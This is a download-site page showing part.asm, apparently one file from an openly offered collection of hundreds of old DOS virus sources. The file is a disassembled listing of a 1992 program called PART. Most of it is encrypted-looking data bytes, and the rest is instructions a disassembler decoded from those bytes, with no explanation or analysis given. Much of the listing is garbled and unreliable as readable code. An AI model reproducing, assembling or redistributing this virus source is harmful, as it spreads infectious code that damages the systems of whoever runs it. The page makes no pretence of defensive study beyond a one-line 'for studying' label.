⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 part.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        PART				         圹
;圹								         圹
;圹      Created:   10-Aug-92					         圹
;圹      Passes:    5	       Analysis Options on: J		         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_11e	equ	0F42h			;*
data_13e	equ	2F42h			;*
data_14e	equ	3F42h			;*
data_15e	equ	65C4h			;*
data_16e	equ	7090h			;*
data_17e	equ	75C4h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

part		proc	far

start:
		esc	5,dh			; coprocessor escape
		db	0D6h, 2Fh, 12h, 24h, 01h, 49h
		db	 44h, 7Eh, 2Eh, 82h, 01h,0F1h
		db	0F9h, 90h,0DCh,0C3h, 21h, 74h
		db	0EAh, 42h,0EDh, 72h, 81h, 7Bh
		db	0B5h,0E4h, 6Eh, 71h, 64h, 4Ah
		db	 19h,0B6h,0CAh, 28h,0E0h, 17h
		db	0C6h,0B5h, 33h, 36h, 09h,0C2h
		db	0A3h,0A1h, 21h, 9Eh, 30h, 74h
		db	0C5h, 51h,0E1h, 91h, 24h, 99h
		db	 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h
		db	0FEh,0ACh, 27h, 10h,0C5h,0A5h
		db	 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh
		db	 49h, 58h, 2Fh, 1Dh, 65h,0E4h
		db	 74h,0F6h, 7Eh, 22h, 61h, 2Eh
		db	0D2h,0FDh, 56h, 92h
		db	2Eh
loc_1:
		in	ax,0F7h			; port 0F7h ??I/O Non-standard
		lds	cx,dword ptr [bp+di+75h]	; Load 32 bit ptr
		mov	[bp+si],es
		sbb	al,0DEh
		sub	bp,cx
		out	0Eh,ax			; port 0Eh, DMA-1 clr mask reg
		adc	al,3Eh			; '>'
		sub	ax,73Eh
		and	[bx-39h],dh
		pop	bp
		pop	bx
		mov	dx,0D157h
		and	[bp+si],ax
		inc	sp
		pop	si
		mov	si,ax
;*		pop	cs			; Dangerous 8088 only
		db	0Fh
		pop	cx
		rcl	byte ptr [bp+di+53h],cl	; Rotate thru carry
		pop	di
		loop	locloop_4		; Loop if cx > 0

		sub	[bx-17h],ch
		xor	ax,398Ah
		sal	bh,1			; Shift w/zeros fill
		aaa				; Ascii adjust
		or	[bp+si+7AF0h],ch
		loopnz	$+36h			; Loop if zf=0, cx>0

		xchg	ax,bp
		and	al,0E4h
		jl	loc_1			; Jump if <
		call	$-52ACh
		xchg	ax,cx
		retn	10E7h
		push	di
		int	3			; Debug breakpoint
		xchg	ax,bp
		sub	dh,bh
		inc	cx
		into				; Int 4 on overflow
		aaa				; Ascii adjust
		dec	sp
		db	6Ah

locloop_4:
		push	ss
		jmp	$+422Bh
;*		call	far ptr sub_1		;*
		db	 9Ah, 53h, 67h,0FFh, 82h
		db	 68h,0E9h, 4Bh,0DCh, 76h,0CBh
		db	0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h
		db	 03h, 54h,0CCh, 85h

locloop_5:
		xor	ah,al
		push	cs
		retn
		db	 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh
		db	 0Fh, 86h, 52h, 56h,0F9h,0AEh
		db	 2Fh, 95h, 4Bh,0FDh, 77h,0E0h
		db	0E8h, 69h,0ADh
		db	0BBh, 85h, 97h, 02h, 7Ch,0CBh
		db	0A8h, 39h,0DAh, 2Eh, 80h, 4Ah
		db	 74h, 8Ch, 4Ch, 85h, 6Dh, 42h
		db	0FFh, 21h, 35h, 90h,0D0h, 48h
		db	0A5h, 24h, 9Dh, 12h, 82h, 89h
		db	 0Dh,0C4h,0C5h,0E2h,0A7h, 71h
		db	 15h,0B8h,0CCh, 5Ch,0A7h
		db	2Eh
loc_6:
		nop
		pop	ss
		or	[bp+di],cl
		inc	sp
		test	bx,ds:data_11e[di]
		and	bp,ax
		nop
		and	[bx+si+55h],cl
		and	al,6Dh			; 'm'
		adc	dh,[bp+si-77h]
		std				; Set direction flag
		les	si,dword ptr [di]	; Load 32 bit ptr
;*		loop	locloop_12		;*Loop if cx > 0

		db	0E2h, 57h
		jno	loc_6			; Jump if not overflw
		mov	ax,5C3Ch
		push	di
loc_8:
		db	 2Eh, 60h, 17h,0F8h, 0Bh,0B4h
		db	 85h, 8Dh, 42h, 1Fh, 21h,0D5h
		db	 90h, 30h, 48h, 45h, 24h, 7Dh
		db	 12h, 62h, 89h,0EDh,0C4h, 25h
		db	0E2h, 47h, 71h,0F5h,0B8h
		db	 2Ch, 5Ch, 47h, 2Eh
loc_9:
		jo	loc_11			; Jump if overflow=1
		call	$-5BF2h
		test	di,ds:data_13e[di]
		and	bp,sp
		nop
		add	[bx+si+75h],cl
		and	al,4Dh			; 'M'
		adc	dl,[bp+si-77h]
		esc	5,ah			; coprocessor escape
		adc	ax,77E2h
loc_11:
		jno	loc_8			; Jump if not overflw
		mov	ax,5C1Ch
		ja	loc_13			; Jump if above
		inc	ax
		pop	ss
		esc	0,[bp+di]		; coprocessor escape
		xchg	ax,sp
		test	bp,ds:data_14e[di]
		and	bp,si
		nop
		adc	[bx+si+65h],cl
		and	al,5Dh			; ']'
		adc	al,[bp+si-77h]
		int	0C4h			; ??INT Non-standard interrupt
		add	ax,67E2h
;*		jno	loc_10			;*Jump if not overflw
		db	 71h,0D5h
		mov	ax,5C0Ch
		db	 67h, 2Eh, 50h, 17h,0C8h, 0Bh
		db	 84h, 85h,0DDh, 42h, 4Fh, 21h
		db	 85h, 90h
		db	 60h, 48h
loc_13:
		adc	ax,2D24h
		adc	dh,[bp+si]
		mov	ds:data_17e[di],di
;*		loop	locloop_15		;*Loop if cx > 0

		db	0E2h, 17h
		jno	loc_9			; Jump if not overflw
		mov	ax,5C7Ch
		pop	ss
		and	cs:[bx],dl
		mov	ax,0F40Bh
		test	cx,bp
		inc	dx
		pop	di
		and	ds:data_16e[di],dx
		dec	ax
		add	ax,3D24h
		adc	ah,[bp+si]
		mov	ds:data_15e[di],bp
		loop	$+9			; Loop if cx > 0

;*		jno	locloop_12		;*Jump if not overflw
		db	 71h,0B5h
		mov	ax,5C6Ch
		pop	es
		xor	cs:[bx],dl
		test	al,8Bh
		in	ax,84h			; port 84h ??I/O Non-standard
		std				; Set direction flag
		inc	si
		db	 61h, 30h, 55h, 81h, 40h, 48h
		db	 35h,0DAh,0E2h, 12h, 12h, 89h
		db	 9Dh,0C5h,0A4h,0E7h, 39h,0A0h
		db	 62h,0B7h,0ACh, 5Ch, 37h, 27h
		db	0F4h, 15h, 98h, 0Bh,0D4h, 85h
		db	0EDh, 42h, 7Fh, 21h,0B5h, 90h
		db	 50h, 48h, 25h, 24h, 1Dh, 12h
		db	 02h, 89h, 8Dh,0C4h, 45h,0E2h
		db	 27h, 71h, 95h,0B8h, 4Ch, 5Ch
		db	 27h, 2Eh, 10h, 17h, 88h, 5Eh
		db	 6Eh, 00h

part		endp

seg_a		ends



		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -